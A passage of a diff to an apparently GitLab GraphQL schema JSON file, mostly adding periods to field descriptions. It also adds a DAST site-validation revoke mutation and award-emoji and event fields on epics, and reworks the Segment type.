of DastSiteToken", + "description": "Identifier of DastSiteToken.", "fields": null, "inputFields": null, "interfaces": null, @@ -16582,7 +18219,7 @@ "fields": [ { "name": "id", - "description": "Global ID of the site validation", + "description": "Global ID of the site validation.", "args": [ ], @@ -16600,7 +18237,7 @@ }, { "name": "normalizedTargetUrl", - "description": "Normalized URL of the target to be validated", + "description": "Normalized URL of the target to be validated.", "args": [ ], @@ -16614,7 +18251,7 @@ }, { "name": "status", - "description": "Status of the site validation", + "description": "Status of the site validation.", "args": [ ], @@ -16907,7 +18544,7 @@ { "kind": "SCALAR", "name": "DastSiteValidationID", - "description": "Identifier of DastSiteValidation", + "description": "Identifier of DastSiteValidation.", "fields": null, "inputFields": null, "interfaces": null, @@ -16915,6 +18552,108 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "DastSiteValidationRevokeInput", + "description": "Autogenerated input type of DastSiteValidationRevoke", + "fields": null, + "inputFields": [ + { + "name": "fullPath", + "description": "The project the site validation belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "normalizedTargetUrl", + "description": "Normalized URL of the target to be revoked.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "DastSiteValidationRevokePayload", + "description": "Autogenerated return type of DastSiteValidationRevoke", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "ENUM", "name": "DastSiteValidationStrategyEnum", "description": null, @@ -17248,7 +18987,7 @@ "fields": [ { "name": "completed", - "description": "Whether or not the entire queue was processed in time; if not, retrying the same request is safe", + "description": "Whether or not the entire queue was processed in time; if not, retrying the same request is safe.", "args": [ ], @@ -17262,7 +19001,7 @@ }, { "name": "deletedJobs", - "description": "The number of matching jobs deleted", + "description": "The number of matching jobs deleted.", "args": [ ], @@ -17276,7 +19015,7 @@ }, { "name": "queueSize", - "description": "The queue size after processing", + "description": "The queue size after processing.", "args": [ ], @@ -17303,7 +19042,7 @@ "fields": [ { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -17347,7 +19086,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -17370,7 +19109,7 @@ }, { "name": "diffRefs", - "description": "The diff refs for this design", + "description": "The diff refs for this design.", "args": [ ], @@ -17388,7 +19127,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -17445,7 +19184,7 @@ }, { "name": "event", - "description": "How this design was changed in the current version", + "description": "How this design was changed in the current version.", "args": [ ], @@ -17463,7 +19202,7 @@ }, { "name": "filename", - "description": "The filename of the design", + "description": "The filename of the design.", "args": [ ], @@ -17481,7 +19220,7 @@ }, { "name": "fullPath", - "description": "The full path to the design file", + "description": "The full path to the design file.", "args": [ ], @@ -17499,7 +19238,7 @@ }, { "name": "id", - "description": "The ID of this design", + "description": "The ID of this design.", "args": [ ], @@ -17517,7 +19256,7 @@ }, { "name": "image", - "description": "The URL of the full-sized image", + "description": "The URL of the full-sized image.", "args": [ ], @@ -17549,7 +19288,7 @@ }, { "name": "issue", - "description": "The issue the design belongs to", + "description": "The issue the design belongs to.", "args": [ ], @@ -17567,7 +19306,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -17624,7 +19363,7 @@ }, { "name": "notesCount", - "description": "The total count of user-created notes for this design", + "description": "The total count of user-created notes for this design.", "args": [ ], @@ -17642,7 +19381,7 @@ }, { "name": "project", - "description": "The project the design belongs to", + "description": "The project the design belongs to.", "args": [ ], @@ -17660,7 +19399,7 @@ }, { "name": "versions", - "description": "All versions related to this design ordered newest first", + "description": "All versions related to this design ordered newest first.", "args": [ { "name": "earlierOrEqualToSha", @@ -17764,7 +19503,7 @@ "fields": [ { "name": "design", - "description": "The underlying design", + "description": "The underlying design.", "args": [ ], @@ -17782,7 +19521,7 @@ }, { "name": "diffRefs", - "description": "The diff refs for this design", + "description": "The diff refs for this design.", "args": [ ], @@ -17800,7 +19539,7 @@ }, { "name": "event", - "description": "How this design was changed in the current version", + "description": "How this design was changed in the current version.", "args": [ ], @@ -17818,7 +19557,7 @@ }, { "name": "filename", - "description": "The filename of the design", + "description": "The filename of the design.", "args": [ ], @@ -17836,7 +19575,7 @@ }, { "name": "fullPath", - "description": "The full path to the design file", + "description": "The full path to the design file.", "args": [ ], @@ -17854,7 +19593,7 @@ }, { "name": "id", - "description": "The ID of this design", + "description": "The ID of this design.", "args": [ ], @@ -17872,7 +19611,7 @@ }, { "name": "image", - "description": "The URL of the full-sized image", + "description": "The URL of the full-sized image.", "args": [ ], @@ -17904,7 +19643,7 @@ }, { "name": "issue", - "description": "The issue the design belongs to", + "description": "The issue the design belongs to.", "args": [ ], @@ -17922,7 +19661,7 @@ }, { "name": "notesCount", - "description": "The total count of user-created notes for this design", + "description": "The total count of user-created notes for this design.", "args": [ ], @@ -17940,7 +19679,7 @@ }, { "name": "project", - "description": "The project the design belongs to", + "description": "The project the design belongs to.", "args": [ ], @@ -17958,7 +19697,7 @@ }, { "name": "version", - "description": "The version this design-at-versions is pinned to", + "description": "The version this design-at-versions is pinned to.", "args": [ ], @@ -18105,7 +19844,7 @@ "fields": [ { "name": "copyState", - "description": "Copy state of the design collection", + "description": "Copy state of the design collection.", "args": [ ], @@ -18119,7 +19858,7 @@ }, { "name": "design", - "description": "Find a specific design", + "description": "Find a specific design.", "args": [ { "name": "id", @@ -18152,7 +19891,7 @@ }, { "name": "designAtVersion", - "description": "Find a design as of a version", + "description": "Find a design as of a version.", "args": [ { "name": "id", @@ -18179,7 +19918,7 @@ }, { "name": "designs", - "description": "All designs for the design collection", + "description": "All designs for the design collection.", "args": [ { "name": "ids", @@ -18282,7 +20021,7 @@ }, { "name": "issue", - "description": "Issue associated with the design collection", + "description": "Issue associated with the design collection.", "args": [ ], @@ -18300,7 +20039,7 @@ }, { "name": "project", - "description": "Project associated with the design collection", + "description": "Project associated with the design collection.", "args": [ ], @@ -18318,7 +20057,7 @@ }, { "name": "version", - "description": "A specific version", + "description": "A specific version.", "args": [ { "name": "sha", @@ -18351,7 +20090,7 @@ }, { "name": "versions", - "description": "All versions related to all designs, ordered newest first", + "description": "All versions related to all designs, ordered newest first.", "args": [ { "name": "earlierOrEqualToSha", @@ -18582,7 +20321,7 @@ "fields": [ { "name": "diffRefs", - "description": "The diff refs for this design", + "description": "The diff refs for this design.", "args": [ ], @@ -18600,7 +20339,7 @@ }, { "name": "event", - "description": "How this design was changed in the current version", + "description": "How this design was changed in the current version.", "args": [ ], @@ -18618,7 +20357,7 @@ }, { "name": "filename", - "description": "The filename of the design", + "description": "The filename of the design.", "args": [ ], @@ -18636,7 +20375,7 @@ }, { "name": "fullPath", - "description": "The full path to the design file", + "description": "The full path to the design file.", "args": [ ], @@ -18654,7 +20393,7 @@ }, { "name": "id", - "description": "The ID of this design", + "description": "The ID of this design.", "args": [ ], @@ -18672,7 +20411,7 @@ }, { "name": "image", - "description": "The URL of the full-sized image", + "description": "The URL of the full-sized image.", "args": [ ], @@ -18704,7 +20443,7 @@ }, { "name": "issue", - "description": "The issue the design belongs to", + "description": "The issue the design belongs to.", "args": [ ], @@ -18722,7 +20461,7 @@ }, { "name": "notesCount", - "description": "The total count of user-created notes for this design", + "description": "The total count of user-created notes for this design.", "args": [ ], @@ -18740,7 +20479,7 @@ }, { "name": "project", - "description": "The project the design belongs to", + "description": "The project the design belongs to.", "args": [ ], @@ -18780,7 +20519,7 @@ "fields": [ { "name": "designAtVersion", - "description": "Find a design as of a version", + "description": "Find a design as of a version.", "args": [ { "name": "id", @@ -18807,7 +20546,7 @@ }, { "name": "version", - "description": "Find a version", + "description": "Find a version.", "args": [ { "name": "id", @@ -18981,7 +20720,7 @@ { "kind": "SCALAR", "name": "DesignManagementDesignAtVersionID", - "description": "Identifier of DesignManagement::DesignAtVersion", + "description": "Identifier of DesignManagement::DesignAtVersion.", "fields": null, "inputFields": null, "interfaces": null, @@ -18991,7 +20730,7 @@ { "kind": "SCALAR", "name": "DesignManagementDesignID", - "description": "Identifier of DesignManagement::Design", + "description": "Identifier of DesignManagement::Design.", "fields": null, "inputFields": null, "interfaces": null, @@ -19299,7 +21038,7 @@ { "kind": "SCALAR", "name": "DesignManagementVersionID", - "description": "Identifier of DesignManagement::Version", + "description": "Identifier of DesignManagement::Version.", "fields": null, "inputFields": null, "interfaces": null, @@ -19313,7 +21052,7 @@ "fields": [ { "name": "designAtVersion", - "description": "A particular design as of this version, provided it is visible at this version", + "description": "A particular design as of this version, provided it is visible at this version.", "args": [ { "name": "id", @@ -19360,7 +21099,7 @@ }, { "name": "designs", - "description": "All designs that were changed in the version", + "description": "All designs that were changed in the version.", "args": [ { "name": "after", @@ -19417,7 +21156,7 @@ }, { "name": "designsAtVersion", - "description": "All designs that are visible at this version, as of this version", + "description": "All designs that are visible at this version, as of this version.", "args": [ { "name": "ids", @@ -19510,7 +21249,7 @@ }, { "name": "id", - "description": "ID of the design version", + "description": "ID of the design version.", "args": [ ], @@ -19528,7 +21267,7 @@ }, { "name": "sha", - "description": "SHA of the design version", + "description": "SHA of the design version.", "args": [ ], @@ -20444,7 +22183,7 @@ "fields": [ { "name": "action", - "description": "Action information for the status. This includes method, button title, icon, path, and title", + "description": "Action information for the status. This includes method, button title, icon, path, and title.", "args": [ ], @@ -20458,7 +22197,7 @@ }, { "name": "detailsPath", - "description": "Path of the details for the status", + "description": "Path of the details for the status.", "args": [ ], @@ -20472,7 +22211,7 @@ }, { "name": "favicon", - "description": "Favicon of the status", + "description": "Favicon of the status.", "args": [ ], @@ -20486,7 +22225,7 @@ }, { "name": "group", - "description": "Group of the status", + "description": "Group of the status.", "args": [ ], @@ -20500,7 +22239,7 @@ }, { "name": "hasDetails", - "description": "Indicates if the status has further details", + "description": "Indicates if the status has further details.", "args": [ ], @@ -20514,7 +22253,7 @@ }, { "name": "icon", - "description": "Icon of the status", + "description": "Icon of the status.", "args": [ ], @@ -20528,7 +22267,7 @@ }, { "name": "label", - "description": "Label of the status", + "description": "Label of the status.", "args": [ ], @@ -20542,7 +22281,7 @@ }, { "name": "text", - "description": "Text of the status", + "description": "Text of the status.", "args": [ ], @@ -20556,7 +22295,7 @@ }, { "name": "tooltip", - "description": "Tooltip associated with the status", + "description": "Tooltip associated with the status.", "args": [ ], @@ -20582,30 +22321,8 @@ "description": "Segment", "fields": [ { - "name": "groups", - "description": "Assigned groups", - "args": [ - - ], - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "Group", - "ofType": null - } - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { "name": "id", - "description": "ID of the segment", + "description": "ID of the segment.", "args": [ ], @@ -20623,7 +22340,7 @@ }, { "name": "latestSnapshot", - "description": "The latest adoption metrics for the segment", + "description": "The latest adoption metrics for the segment.", "args": [ ], @@ -20636,19 +22353,15 @@ "deprecationReason": null }, { - "name": "name", - "description": "Name of the segment", + "name": "namespace", + "description": "Segment namespace.", "args": [ ], "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } + "kind": "OBJECT", + "name": "Namespace", + "ofType": null }, "isDeprecated": false, "deprecationReason": null @@ -20780,7 +22493,7 @@ "fields": [ { "name": "deploySucceeded", - "description": "At least one deployment succeeded", + "description": "At least one deployment succeeded.", "args": [ ], @@ -20798,7 +22511,7 @@ }, { "name": "endTime", - "description": "The end time for the snapshot where the data points were collected", + "description": "The end time for the snapshot where the data points were collected.", "args": [ ], @@ -20816,7 +22529,7 @@ }, { "name": "issueOpened", - "description": "At least one issue was opened", + "description": "At least one issue was opened.", "args": [ ], @@ -20834,7 +22547,7 @@ }, { "name": "mergeRequestApproved", - "description": "At least one merge request was approved", + "description": "At least one merge request was approved.", "args": [ ], @@ -20852,7 +22565,7 @@ }, { "name": "mergeRequestOpened", - "description": "At least one merge request was opened", + "description": "At least one merge request was opened.", "args": [ ], @@ -20870,7 +22583,7 @@ }, { "name": "pipelineSucceeded", - "description": "At least one pipeline succeeded", + "description": "At least one pipeline succeeded.", "args": [ ], @@ -20888,7 +22601,7 @@ }, { "name": "recordedAt", - "description": "The time the snapshot was recorded", + "description": "The time the snapshot was recorded.", "args": [ ], @@ -20906,7 +22619,7 @@ }, { "name": "runnerConfigured", - "description": "At least one runner was used", + "description": "At least one runner was used.", "args": [ ], @@ -20924,7 +22637,7 @@ }, { "name": "securityScanSucceeded", - "description": "At least one security scan succeeded", + "description": "At least one security scan succeeded.", "args": [ ], @@ -20942,7 +22655,7 @@ }, { "name": "startTime", - "description": "The start time for the snapshot where the data points were collected", + "description": "The start time for the snapshot where the data points were collected.", "args": [ ], @@ -20974,7 +22687,7 @@ "inputFields": [ { "name": "headSha", - "description": "SHA of the HEAD at the time the comment was made", + "description": "SHA of the HEAD at the time the comment was made.", "type": { "kind": "NON_NULL", "name": null, @@ -20988,7 +22701,7 @@ }, { "name": "baseSha", - "description": "Merge base of the branch the comment was made on", + "description": "Merge base of the branch the comment was made on.", "type": { "kind": "SCALAR", "name": "String", @@ -20998,7 +22711,7 @@ }, { "name": "startSha", - "description": "SHA of the branch being compared against", + "description": "SHA of the branch being compared against.", "type": { "kind": "NON_NULL", "name": null, @@ -21026,7 +22739,7 @@ }, { "name": "x", - "description": "X position of the note", + "description": "X position of the note.", "type": { "kind": "NON_NULL", "name": null, @@ -21040,7 +22753,7 @@ }, { "name": "y", - "description": "Y position of the note", + "description": "Y position of the note.", "type": { "kind": "NON_NULL", "name": null, @@ -21054,7 +22767,7 @@ }, { "name": "width", - "description": "Total width of the image", + "description": "Total width of the image.", "type": { "kind": "NON_NULL", "name": null, @@ -21068,7 +22781,7 @@ }, { "name": "height", - "description": "Total height of the image", + "description": "Total height of the image.", "type": { "kind": "NON_NULL", "name": null, @@ -21088,7 +22801,7 @@ { "kind": "SCALAR", "name": "DiffNoteID", - "description": "Identifier of DiffNote", + "description": "Identifier of DiffNote.", "fields": null, "inputFields": null, "interfaces": null, @@ -21103,7 +22816,7 @@ "inputFields": [ { "name": "oldPath", - "description": "The path of the file on the start sha", + "description": "The path of the file on the start sha.", "type": { "kind": "SCALAR", "name": "String", @@ -21113,7 +22826,7 @@ }, { "name": "newPath", - "description": "The path of the file on the head sha", + "description": "The path of the file on the head sha.", "type": { "kind": "SCALAR", "name": "String", @@ -21133,7 +22846,7 @@ "fields": [ { "name": "diffRefs", - "description": "Information about the branch, HEAD, and base at the time of commenting", + "description": "Information about the branch, HEAD, and base at the time of commenting.", "args": [ ], @@ -21151,7 +22864,7 @@ }, { "name": "filePath", - "description": "Path of the file that was changed", + "description": "Path of the file that was changed.", "args": [ ], @@ -21169,7 +22882,7 @@ }, { "name": "height", - "description": "Total height of the image", + "description": "Total height of the image.", "args": [ ], @@ -21183,7 +22896,7 @@ }, { "name": "newLine", - "description": "Line on HEAD SHA that was changed", + "description": "Line on HEAD SHA that was changed.", "args": [ ], @@ -21197,7 +22910,7 @@ }, { "name": "newPath", - "description": "Path of the file on the HEAD SHA", + "description": "Path of the file on the HEAD SHA.", "args": [ ], @@ -21211,7 +22924,7 @@ }, { "name": "oldLine", - "description": "Line on start SHA that was changed", + "description": "Line on start SHA that was changed.", "args": [ ], @@ -21225,7 +22938,7 @@ }, { "name": "oldPath", - "description": "Path of the file on the start SHA", + "description": "Path of the file on the start SHA.", "args": [ ], @@ -21239,7 +22952,7 @@ }, { "name": "positionType", - "description": "Type of file the position refers to", + "description": "Type of file the position refers to.", "args": [ ], @@ -21257,7 +22970,7 @@ }, { "name": "width", - "description": "Total width of the image", + "description": "Total width of the image.", "args": [ ], @@ -21271,7 +22984,7 @@ }, { "name": "x", - "description": "X position of the note", + "description": "X position of the note.", "args": [ ], @@ -21285,7 +22998,7 @@ }, { "name": "y", - "description": "Y position of the note", + "description": "Y position of the note.", "args": [ ], @@ -21313,7 +23026,7 @@ "inputFields": [ { "name": "headSha", - "description": "SHA of the HEAD at the time the comment was made", + "description": "SHA of the HEAD at the time the comment was made.", "type": { "kind": "NON_NULL", "name": null, @@ -21327,7 +23040,7 @@ }, { "name": "baseSha", - "description": "Merge base of the branch the comment was made on", + "description": "Merge base of the branch the comment was made on.", "type": { "kind": "SCALAR", "name": "String", @@ -21337,7 +23050,7 @@ }, { "name": "startSha", - "description": "SHA of the branch being compared against", + "description": "SHA of the branch being compared against.", "type": { "kind": "NON_NULL", "name": null, @@ -21365,7 +23078,7 @@ }, { "name": "oldLine", - "description": "Line on start SHA that was changed", + "description": "Line on start SHA that was changed.", "type": { "kind": "SCALAR", "name": "Int", @@ -21375,7 +23088,7 @@ }, { "name": "newLine", - "description": "Line on HEAD SHA that was changed", + "description": "Line on HEAD SHA that was changed.", "type": { "kind": "NON_NULL", "name": null, @@ -21422,7 +23135,7 @@ "fields": [ { "name": "baseSha", - "description": "Merge base of the branch the comment was made on", + "description": "Merge base of the branch the comment was made on.", "args": [ ], @@ -21436,7 +23149,7 @@ }, { "name": "headSha", - "description": "SHA of the HEAD at the time the comment was made", + "description": "SHA of the HEAD at the time the comment was made.", "args": [ ], @@ -21454,7 +23167,7 @@ }, { "name": "startSha", - "description": "SHA of the branch being compared against", + "description": "SHA of the branch being compared against.", "args": [ ], @@ -21485,7 +23198,7 @@ "fields": [ { "name": "additions", - "description": "Number of lines added to this file", + "description": "Number of lines added to this file.", "args": [ ], @@ -21503,7 +23216,7 @@ }, { "name": "deletions", - "description": "Number of lines deleted from this file", + "description": "Number of lines deleted from this file.", "args": [ ], @@ -21521,7 +23234,7 @@ }, { "name": "path", - "description": "File path, relative to repository root", + "description": "File path, relative to repository root.", "args": [ ], @@ -21552,7 +23265,7 @@ "fields": [ { "name": "additions", - "description": "Number of lines added", + "description": "Number of lines added.", "args": [ ], @@ -21570,7 +23283,7 @@ }, { "name": "changes", - "description": "Number of lines changed", + "description": "Number of lines changed.", "args": [ ], @@ -21588,7 +23301,7 @@ }, { "name": "deletions", - "description": "Number of lines deleted", + "description": "Number of lines deleted.", "args": [ ], @@ -21606,7 +23319,7 @@ }, { "name": "fileCount", - "description": "Number of files changed", + "description": "Number of files changed.", "args": [ ], @@ -21637,7 +23350,7 @@ "fields": [ { "name": "createdAt", - "description": "Timestamp of the discussion's creation", + "description": "Timestamp of the discussion's creation.", "args": [ ], @@ -21655,7 +23368,7 @@ }, { "name": "id", - "description": "ID of this discussion", + "description": "ID of this discussion.", "args": [ ], @@ -21664,7 +23377,7 @@ "name": null, "ofType": { "kind": "SCALAR", - "name": "ID", + "name": "DiscussionID", "ofType": null } }, @@ -21673,7 +23386,7 @@ }, { "name": "notes", - "description": "All notes in the discussion", + "description": "All notes in the discussion.", "args": [ { "name": "after", @@ -21730,7 +23443,7 @@ }, { "name": "replyId", - "description": "ID used to reply to this discussion", + "description": "ID used to reply to this discussion.", "args": [ ], @@ -21739,7 +23452,7 @@ "name": null, "ofType": { "kind": "SCALAR", - "name": "ID", + "name": "DiscussionID", "ofType": null } }, @@ -21748,7 +23461,7 @@ }, { "name": "resolvable", - "description": "Indicates if the object can be resolved", + "description": "Indicates if the object can be resolved.", "args": [ ], @@ -21766,7 +23479,7 @@ }, { "name": "resolved", - "description": "Indicates if the object is resolved", + "description": "Indicates if the object is resolved.", "args": [ ], @@ -21784,7 +23497,7 @@ }, { "name": "resolvedAt", - "description": "Timestamp of when the object was resolved", + "description": "Timestamp of when the object was resolved.", "args": [ ], @@ -21798,7 +23511,7 @@ }, { "name": "resolvedBy", - "description": "User who resolved the object", + "description": "User who resolved the object.", "args": [ ], @@ -21937,7 +23650,7 @@ { "kind": "SCALAR", "name": "DiscussionID", - "description": "Identifier of Discussion", + "description": "Identifier of Discussion.", "fields": null, "inputFields": null, "interfaces": null, @@ -22189,7 +23902,7 @@ "fields": [ { "name": "flatPath", - "description": "Flat path of the entry", + "description": "Flat path of the entry.", "args": [ ], @@ -22207,7 +23920,7 @@ }, { "name": "id", - "description": "ID of the entry", + "description": "ID of the entry.", "args": [ ], @@ -22225,7 +23938,7 @@ }, { "name": "name", - "description": "Name of the entry", + "description": "Name of the entry.", "args": [ ], @@ -22243,7 +23956,7 @@ }, { "name": "path", - "description": "Path of the entry", + "description": "Path of the entry.", "args": [ ], @@ -22261,7 +23974,7 @@ }, { "name": "sha", - "description": "Last commit sha for the entry", + "description": "Last commit SHA for the entry.", "args": [ ], @@ -22279,7 +23992,7 @@ }, { "name": "type", - "description": "Type of tree entry", + "description": "Type of tree entry.", "args": [ ], @@ -22353,7 +24066,7 @@ "fields": [ { "name": "id", - "description": "ID of the environment", + "description": "ID of the environment.", "args": [ ], @@ -22371,7 +24084,7 @@ }, { "name": "latestOpenedMostSevereAlert", - "description": "The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned", + "description": "The most severe open alert for the environment. If multiple alerts have equal severity, the most recent is returned.", "args": [ ], @@ -22385,7 +24098,7 @@ }, { "name": "metricsDashboard", - "description": "Metrics dashboard schema for the environment", + "description": "Metrics dashboard schema for the environment.", "args": [ { "name": "path", @@ -22412,7 +24125,7 @@ }, { "name": "name", - "description": "Human-readable name of the environment", + "description": "Human-readable name of the environment.", "args": [ ], @@ -22448,7 +24161,7 @@ }, { "name": "state", - "description": "State of the environment, for example: available/stopped", + "description": "State of the environment, for example: available/stopped.", "args": [ ], @@ -22587,7 +24300,7 @@ { "kind": "SCALAR", "name": "EnvironmentID", - "description": "Identifier of Environment", + "description": "Identifier of Environment.", "fields": null, "inputFields": null, "interfaces": null, @@ -22703,7 +24416,7 @@ "fields": [ { "name": "author", - "description": "Author of the epic", + "description": "Author of the epic.", "args": [ ], @@ -22720,8 +24433,61 @@ "deprecationReason": null }, { + "name": "awardEmoji", + "description": "A list of award emojis associated with the epic.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "AwardEmojiConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "children", - "description": "Children (sub-epics) of the epic", + "description": "Children (sub-epics) of the epic.", "args": [ { "name": "startDate", @@ -22930,7 +24696,7 @@ }, { "name": "closedAt", - "description": "Timestamp of when the epic was closed", + "description": "Timestamp of when the epic was closed.", "args": [ ], @@ -22944,7 +24710,7 @@ }, { "name": "confidential", - "description": "Indicates if the epic is confidential", + "description": "Indicates if the epic is confidential.", "args": [ ], @@ -22958,7 +24724,7 @@ }, { "name": "createdAt", - "description": "Timestamp of when the epic was created", + "description": "Timestamp of when the epic was created.", "args": [ ], @@ -22972,7 +24738,7 @@ }, { "name": "currentUserTodos", - "description": "Todos for the current user", + "description": "To-do items for the current user.", "args": [ { "name": "after", @@ -23016,7 +24782,7 @@ }, { "name": "state", - "description": "State of the todos", + "description": "State of the to-do items.", "type": { "kind": "ENUM", "name": "TodoStateEnum", @@ -23039,7 +24805,7 @@ }, { "name": "descendantCounts", - "description": "Number of open and closed descendant epics and issues", + "description": "Number of open and closed descendant epics and issues.", "args": [ ], @@ -23053,7 +24819,7 @@ }, { "name": "descendantWeightSum", - "description": "Total weight of open and closed issues in the epic and its descendants", + "description": "Total weight of open and closed issues in the epic and its descendants.", "args": [ ], @@ -23067,7 +24833,7 @@ }, { "name": "description", - "description": "Description of the epic", + "description": "Description of the epic.", "args": [ ], @@ -23081,7 +24847,7 @@ }, { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -23138,7 +24904,7 @@ }, { "name": "downvotes", - "description": "Number of downvotes the epic has received", + "description": "Number of downvotes the epic has received.", "args": [ ], @@ -23156,7 +24922,7 @@ }, { "name": "dueDate", - "description": "Due date of the epic", + "description": "Due date of the epic.", "args": [ ], @@ -23170,7 +24936,7 @@ }, { "name": "dueDateFixed", - "description": "Fixed due date of the epic", + "description": "Fixed due date of the epic.", "args": [ ], @@ -23184,7 +24950,7 @@ }, { "name": "dueDateFromMilestones", - "description": "Inherited due date of the epic from milestones", + "description": "Inherited due date of the epic from milestones.", "args": [ ], @@ -23198,7 +24964,7 @@ }, { "name": "dueDateIsFixed", - "description": "Indicates if the due date has been manually set", + "description": "Indicates if the due date has been manually set.", "args": [ ], @@ -23211,8 +24977,61 @@ "deprecationReason": null }, { + "name": "events", + "description": "A list of events associated with the object.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "EventConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "group", - "description": "Group to which the epic belongs", + "description": "Group to which the epic belongs.", "args": [ ], @@ -23230,7 +25049,7 @@ }, { "name": "hasChildren", - "description": "Indicates if the epic has children", + "description": "Indicates if the epic has children.", "args": [ ], @@ -23248,7 +25067,7 @@ }, { "name": "hasIssues", - "description": "Indicates if the epic has direct issues", + "description": "Indicates if the epic has direct issues.", "args": [ ], @@ -23266,7 +25085,7 @@ }, { "name": "hasParent", - "description": "Indicates if the epic has a parent epic", + "description": "Indicates if the epic has a parent epic.", "args": [ ], @@ -23284,7 +25103,7 @@ }, { "name": "healthStatus", - "description": "Current health status of the epic", + "description": "Current health status of the epic.", "args": [ ], @@ -23298,7 +25117,7 @@ }, { "name": "id", - "description": "ID of the epic", + "description": "ID of the epic.", "args": [ ], @@ -23316,7 +25135,7 @@ }, { "name": "iid", - "description": "Internal ID of the epic", + "description": "Internal ID of the epic.", "args": [ ], @@ -23334,7 +25153,7 @@ }, { "name": "issues", - "description": "A list of issues associated with the epic", + "description": "A list of issues associated with the epic.", "args": [ { "name": "after", @@ -23387,7 +25206,7 @@ }, { "name": "labels", - "description": "Labels assigned to the epic", + "description": "Labels assigned to the epic.", "args": [ { "name": "after", @@ -23440,7 +25259,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -23497,7 +25316,7 @@ }, { "name": "parent", - "description": "Parent epic of the epic", + "description": "Parent epic of the epic.", "args": [ ], @@ -23511,7 +25330,7 @@ }, { "name": "participants", - "description": "List of participants for the epic", + "description": "List of participants for the epic.", "args": [ { "name": "after", @@ -23564,11 +25383,11 @@ }, { "name": "reference", - "description": "Internal reference of the epic. Returned in shortened format by default", + "description": "Internal reference of the epic. Returned in shortened format by default.", "args": [ { "name": "full", - "description": "Indicates if the reference should be returned in full", + "description": "Indicates if the reference should be returned in full.", "type": { "kind": "SCALAR", "name": "Boolean", @@ -23591,7 +25410,7 @@ }, { "name": "relationPath", - "description": "URI path of the epic-issue relationship", + "description": "URI path of the epic-issue relationship.", "args": [ ], @@ -23605,7 +25424,7 @@ }, { "name": "relativePosition", - "description": "The relative position of the epic in the epic tree", + "description": "The relative position of the epic in the epic tree.", "args": [ ], @@ -23619,7 +25438,7 @@ }, { "name": "startDate", - "description": "Start date of the epic", + "description": "Start date of the epic.", "args": [ ], @@ -23633,7 +25452,7 @@ }, { "name": "startDateFixed", - "description": "Fixed start date of the epic", + "description": "Fixed start date of the epic.", "args": [ ], @@ -23647,7 +25466,7 @@ }, { "name": "startDateFromMilestones", - "description": "Inherited start date of the epic from milestones", + "description": "Inherited start date of the epic from milestones.", "args": [ ], @@ -23661,7 +25480,7 @@ }, { "name": "startDateIsFixed", - "description": "Indicates if the start date has been manually set", + "description": "Indicates if the start date has been manually set.", "args": [ ], @@ -23675,7 +25494,7 @@ }, { "name": "state", - "description": "State of the 